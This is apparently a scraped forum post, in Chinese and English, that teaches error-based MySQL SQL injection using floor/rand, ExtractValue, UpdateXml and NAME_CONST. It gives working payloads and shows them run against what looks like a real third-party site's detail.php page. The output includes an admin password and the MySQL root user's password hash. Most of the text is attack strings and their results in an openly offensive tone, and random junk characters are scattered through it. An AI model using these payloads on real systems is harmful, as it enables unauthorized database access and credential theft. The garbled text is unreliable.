mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
, _/ B: m; F- [7 o9 l3 `+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
+ X& c. P  _" Y1 M9 t) |0 yERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
% o  a. ^( a! L$ L( l$ b3 V( d; {ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
" B% x% h3 U( N/ x# mERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

! y' [+ t$ M' s0 {& c7 ?' R/ T2 ghttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
# p: h. M' E& r2 S  m
1 t! f" w( i& e. v, }# DErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
6 }( J" D& E% I% T1 b! H
; Z, R; b" ?) l  f: Y: ^% ^Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

4 o8 s- M* X, t, N# {3 l- S' _MYSQL高版本报错注入技巧-利用NAME_CONST注入
! E( ]/ E! F+ s5 B7 x( _/ b5 CIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
& o7 {! F- x/ {! Q! \% F) A

相关信息
% E& H7 X- s2 A& T2 p: W( w9 e7 |3 {* W
& c4 j9 D. l6 ^* g- pNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)
" z9 h: Y8 x6 a8 f
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

) e% |  H  \  h) K9 X* wSELECT NAME_CONST('TEST', 1)


$ V2 J7 f" N9 A) l/ S4 Y' w
! F! |9 u# E# K) o$ `|---------------|
" Q+ q6 w: D8 ]0 `) I9 F|     TEST      |
|               |
|---------------|
|       1       |
|               |
$ J7 x5 x( l; T- ?* U|---------------|

% I& N* Z) ^/ _% ?& a9 T

7 R3 b; J% E! I4 _* f
+ _- a/ k# R6 G7 phttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
$ X, ?4 `8 ?) X  k
1 j( i6 }' p' [0 P# C8 rOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
( a# v8 Y$ P4 W( G" Zhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
$ R# K9 Z, i, O# U/ U! `


8 }- K: x9 {6 j. n* y

Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
% q4 g7 }! c7 h* ?: V4 H" W+ I$ C
0 H( y9 M7 B# S! t( c
9 c. q6 ~1 F1 S( N; K9 b3 ^' H9 xVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
" S! F* V7 D( h# F! s+ d
Let's try it out on my site..
  |1 L2 [% @5 T& \5 [
1 w7 V# k# v5 j+ [+ a1 ICode:
9 g; M& G6 u' L. G) r1 l; Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
& m! }9 I* Y! x  y& }
Erroruplicate column name '5.0.27-community-nt'
9 C4 `( T, k0 C* Y" B. I' w
- a9 q9 |+ i* {

6 R9 u. B. e- v8 D! u8 s9 i

5 l/ k# F  t" c2 w: ?( P$ INow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
3 [3 l+ _" y+ W2 R
" @$ K2 E" t8 h% w6 U% i/ iData Extraction
  R4 L/ s3 X% I: i2 R
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


We should get a duplicate column 1 error...
$ L! H. f, y; \2 j
1 F  b9 N% y- V& n5 ^8 ?Code:
3 U( Z  N! i3 o/ ~: a- h  {) U# ihttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
3 z# F) I4 ~7 E+ l
$ A, c$ r0 ]1 Z' o$ p" J5 UErroruplicate column name '1




- d8 ]: o0 Y! {* e6 T# p! M- m
8 h3 z9 s6 g# a* n; `( `
Now let's get the tables out this bitch..
# h- I4 `0 V& ^$ x0 _2 W2 S
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
/ ]. m% j5 k) h  C6 D
' e; ]( H3 U9 K( L
# {1 {: w- ?) j& OLet's see if it works here, if it does, we can go on and finish the job.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
9 b2 M: {% a8 y
# V$ C8 b0 z; a, j# g) i/ D$ Z
Erroruplicate column name 'com_admanage
, K& V* F/ @7 u; ^
- g* B8 ]/ [2 N5 {1 O



" K2 q8 t# ^5 I& N
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
8 j/ [( G- H/ M, Z
Let's get the columns out of the user table..
5 I8 K2 Z5 x* ?' p1 ^. L4 h6 C
& P2 R2 Z, k" E6 m7 fCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
5 f5 z: n/ l. n& ~( e, i
" J+ Y; O* x  F" o
So mine looks like this, and I get the duplicate column name 'Host'.
9 [& h+ \' ?; ^0 t2 z# B+ I2 v
; I' m, R, o' p! CCode:
( ^) J" M/ ?4 s4 a& lhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

. O: r0 N0 ^( W! [3 p; eErroruplicate column name 'Host'

* E8 t9 ?' X8 u  o1 E2 C



( F( C3 A& g5 N1 o: }7 W$ F+ r  l
Woot, time to finish this bitch off.
% i: H: U% z: u0 l9 F9 S! Q# ?, ~: O
Code:
) b/ E+ G$ e) p* L3 l$ u+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
, C/ K" h, A8 a4 ^  d; r
1 E" N% u- |! t/ `. M, X* l4 v
. r3 C% O# [6 e' a- aSo mine looks like this...
+ [/ U! \( X+ W6 h5 r; W
Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

) n# d7 O$ i% ^( i& X+ `7 }: O
, d- o: l7 v* m& H" F
( z( U) E$ _5 @  z$ N4 ~' I


And there we have it, thanks for reading.
* h, Q9 M4 |& }8 j: F
/ G. V' Y  c! x4 z